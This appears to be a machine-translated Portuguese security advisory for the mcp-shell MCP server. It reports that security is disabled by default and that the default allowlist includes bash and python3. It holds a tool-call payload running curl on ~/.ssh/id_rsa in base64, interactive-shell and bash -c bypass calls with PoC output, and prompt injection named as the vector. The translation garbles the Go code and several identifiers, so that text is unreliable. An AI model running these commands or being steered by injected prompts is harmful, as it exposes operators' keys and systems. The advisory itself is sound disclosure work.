mcp- shell` no commit ` 17 ac 0 eef 5 c 9 a 5 a 42 b 8 fb 132 d 3 d 034973 d 55 a 5433 ` tem dois problemas que, em conjunto, não significam que o caminho padrão de implantação nem o "modo seguro" recomendado entreguem a restrição que são comercializados como fornecedores. Filando- os juntos porque os dois modos de falha colocam em suporte a audiência pretendida completa — o caminho de fonte recebe usuários que não configuram a segurança inteiramente, o caminho Docker recebe usuários que seguem o exemplo security.yaml e acreditam que estão protegidos. O primeiro problema está na linha `config.go` 49. ``` go config:= & Config{ Segurança: SecurityConfig{ Activado: false, },... } ``` Segurança é opt- in. Os navios binários desnudos com linhas ` Activado: false` e `security.go` 26 – 29 torna a conseqüência explícita: ``` go func (v *SecurityValidator) validarErro de comando(string) { se!v.config. Activado { v.logger.Debug().Str("comando", comando).Msg("Security deshabilitated, permitindo comando") retorna nul } ````.
linhas `main.go` 35 – 39 confirma a condição de implantação. ```go configFile:= os.Getenv("MCP_SHELL_SEC_CONFIG_FILE") se configFile!= "" { log.Info().Str("config_file", configFile).Msg("Loading security config") } senão { log.Info().Msg("No security config file specificated, security deshabilitated") } ```` O caminho de instalação do README de fonte (linhas) 22 – 26 ) executa `Git clone... && make install && mcp-shell` sem variável de ambiente e sem arquivo de configuração. O bloco de exemplo de configuração do cliente MCP (linhas) 78 – 85 ) passa apenas por `MCP_SHELL_LOG_LEVEL` — sem `MCP_SHELL_SEC_CONFIG_FILE`. Cada operador que segue um caminho documentado executa um servidor de execução de shell sem restrições. ** Modelo de ataque:** o operador instala- se a partir do fonte ou segue o exemplo de configuração do cliente MCP textual. Qualquer LLM conectado via stdio pode chamar `shell_exec` com uma cadeia de comando arbitrária — nenhuma lista de permissões, nenhuma lista de blocos, sem filtragem, sem registro. Como o mcp- shell é o transporte stdio, o agente atacante é o próprio LLM conectado do operador — a injeção rápida ou uma descrição de ferramenta envenenada é o vetor, sem acesso à rede necessário. ```json {"método": "tools/call", "params": {"nome": "shell_exec", "argumentos": {"comando": "curl -s ~/.ssh/id_rsa) base 64 )"}}} ```.
**Fix:** volte o padrão para `SecurityConfig{Activado: true}`. O modo seguro deve ser o padrão operacional — não é necessário que os usuários do env var saibam o que se configurar. A bandeira `--llow- unsafe` (ou env var equivalente) pode preservar o modo ilimitado para desenvolvedores que aceitam explicitamente o risco, mas que deve exigir opt- in afirmativo, não silêncio. O segundo problema afeta usuários Docker que seguem o exemplo security. yaml. O `security.yaml` oficial — cozido na imagem Docker via `COPY security.yaml /etc/mcp-shell/security.yaml` — inclui tanto `/bin/bash` quanto `/usr/bin/python 3 ` em ` permitted_executables`. Em modo seguro (`use_shell_execution: false`), linhas `executor.go` 142 – 163 analisar o comando e executá- lo diretamente: `` ` go } ou { executável, args, err:= e.parseCommand(command)... cmd = execut.CommandContext(ctx, executável, args...) } ``` A função `parseCommand()` usa `strings.Fields()` — dividir no espaço branco — e o meta- caracterizador verifica em `contém ConstruçõesPerigosasConstrutas()` blocos `ї`, `&`, `;`, `$', e construções semelhantes. Com `/bin/ bash` na lista de licenças, a seguinte chamada:.
``` shell_exec(command="/bin/ bash -i") ```. Parses para `executável="/bin/ bash"`, `args=["-i"]`. O executável está na lista de permissões. `- i` não contém metacaracters bloqueados. A chamada passa por toda a validação e executa como: ``` go cmd = exec.CommandContext(ctx, "/bin/ bash", "-i") ```. Isso é um shell bash interativo — o stdin é compartilhado com o processo mcp-shell, que é o canal de comandos MCP. O LLM agora tem um canal de leitura/ escrita direta para bater. O caminho do Python é igualmente direto: `shell_exec(command="/usr/bin/python 3 /workspace/payload.py")` onde o arquivo de carga útil foi escrito em uma chamada de ferramenta anterior. Ambos evitam a filtragem de metacaracters do modo seguro, porque o intérprete absorve o conteúdo perigoso, não a cadeia de comandos direta. A imagem Docker envia esta configuração como padrão. Qualquer operador que executa a imagem oficial sem um security personalizado.yaml está executando com `/bin/ bash` e `/usr/bin/python 3 ` em sua lista de licenças — o modo seguro anunciado não está fornecendo a restrição que alega. **Fix:** remover `/bin/ bash`, `/bin/ sh` e `/usr/bin/python 3 ` from `llowed_executables` no padrão `security.yaml`. Os intérpretes do Shell derrotam a lista de execução- permitida por design — o intérprete executa o que for entregue, por isso permitir que seja equivalente a desativar a lista de autorização inteiramente. A configuração padrão deve conter apenas binários de utilidade estreitos que não possam gerar processos arbitrários (`ls`, `cat`, `grep`, `head`, `wc`, `date`, `pwd`). Um comentário na configuração do exemplo também é justificado:.
```yaml # ATENÇÃO: Nunca adicione intérpretes de shell (bash, sh, python, perl, ruby) para # permitida_executável. Fazendo isso, o modo seguro é evitado — o intérprete # executa código arbitrário, independentemente do que os meta- caractereiros verem. ``` Tomado em conjunto: o caminho de fonte é executado sem configuração de segurança por padrão, e o caminho Docker é executado com uma configuração de segurança que inclui intérpretes de shell. Os dois modos de falha cobrem a superfície completa da instalação. O mantenedor claramente se preocupa com a segurança — a cobertura de teste para cenários de injeção e a implementação `Contém PerigosoConstrutos` mostram a intenção certa. Estes são corrigibles com uma flip padrão de uma linha e uma edição de configuração. ### Aditamento 2026 - 05 - 03 — contra- ao enquadramento de mitigação de caixa de areia.
Por que a recomendação da caixa de areia não fecha nenhum dos dois achados acima, com a linha do PoC que o demonstra. O enquadramento de amitigação de sandbox assume que o operador (a) sabe que eles precisam de amiga, (b) configura corretamente a sandbox, e (c) o limite de amigaçao contém realmente o que um atacante pode alcançar através da ferramenta MCP. Nenhum desses segurá- los para o caminho de instalação documentado: 1 **A opção por defeito é aplicada antes de a pergunta do sandbox ser feita.** O caminho de fonte (`git clone && make install && mcp- shell`) é executado com ` Activado: false` a partir de `config.go: 49 `. O exemplo de configuração do cliente MCP no README passa apenas por `MCP_SHELL_LOG_LEVEL`, sem `MCP_SHELL_SEC_CONFIG_FILE`. Um operador que segue a instalação documentada executa uma shell sem restrições — a recomendação da caixa de areia vive em um documento separado que o operador ainda não leu, porque seguiu o README e funciona. Este é o caso de fonte em Encontrar 1 e ele não conserta qualquer recomendação que vive fora do caminho de instalação.
2 **A lista de bash-in-allow derrota o modo seguro independentemente da caixa de areia.** Mesmo que o operador corra dentro de uma caixa de areia Docker/firejail/bubblewrap, o `security.yaml` oficial inclui `/bin/ bash` e `/usr/bin/python 3 ` em ` permitted_executables`. Dentro dessa caixa de areia, o LLM pode emitir `shell_exec(command="/bin/ bash -c ' '")' — passes allowlist, executa textualmente, e o limite da caixa de areia é a contenção * exterior*, não a contenção * intra- sandbox*. O LLM ainda tem leitura/ escrita completa para o que quer que viva dentro da caixa de areia: segredos montados no recipiente, variáveis de ambiente, acesso à rede do interior da caixa de areia, arquivos no diretório de trabalho. "Sandbox" contém apenas o raio de explosão se o modelo de ameaça for "RCE escapa do hospedeiro", que não é o modelo de ameaça aqui — o modelo de ameaça é "execução de comando indesejada da sessão LLM", o que acontece dentro do limite da caixa de areia. PoC disparado localmente — gravação de marcadores não destrutivos, espelha o validarCommand → executarSecureCommand chain em Python (semântica de subprocessamento Go para `exec.CommandContext` são equivalentes ao Python `subprocess.run` para expedição de arg- array): ``` === Classe 1: Desligação padrão da segurança (config.go: 49 Ativado=falso) === [CONFIG] Segurança.Ativado = Falso erro [VALIDATO] = Nenhum (Nenhum = permitido) [STDOUT] uid= 1000 (...) gid= 1000 (...) grupos= 1000 (...),... EXEC_CONFIRMED.
=== Classe 2: Intérprete de Shell em permited_executables allowlist === [PARSE] executable='/bin/bash', args=['-c', "'id; eco BASH_ALLOWLIST_BYPASS'] [CHECK] /bin/bash in allowed_executables: Verdadeiro ```` Citações da linha- fonte no commit ` 17 ac 0 eef 5 c 9 a 5 a 42 b 8 fb 132 d 3 d 034973 d 55 a 5433 `: - `config.go: 49 ` — ` Activado: false` padrão - `security.go: 26 - 28 ` — ` se!v.config. Activado { devolver zero }` curto- circuito - ` main.go: 35 - 39 ` — Env-var condicional que naves desativadas quando desativadas - `executor.go: 142 - 163 ` — `parseCommand()` + `exec.CommandContext(ctx, executável, args...)` envio de caminho A abordagem cmd- unfurl/ expansion que você levantou é mais interessante sobre os méritos técnicos — ele fecharia o caso bash- allowlist diretamente (desfurl `/bin/ bash - c ' '' para expor o comando interno para avaliação de blocos). Ele ainda não fecharia o caso de desligamento padrão, porque o desfurl só se executa quando a validação se executa, e os curtos-circuitos de validação quando ` Activado= Falso`.
A correção de mudança mínima em ambas as frentes permanece: verifique "Activado" para "verdadeiro" por padrão, solte intérpretes de shell do exemplo allowlist. A recomendação Sandbox é razoável como defesa em profundidade, mas não substitui o fechamento dos dois padrões do install-path. Registro de aconselhamento: GHSA-f 5 pj- 2738 - 996 m. Identificadores relacionados: CVE- 2026 - 55580. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 25 T 15: 46: 50.000 Z e lista a sua última modificação como 2026 - 08 - 25 T 15: 46: 50.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Vá o pacote github.com/sonirico/mcp-shell — ECOSISTEM: introduzido 0, corrigido 0.6.0. Classificação e evidência: identificadores de fraqueza CWE- 78. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.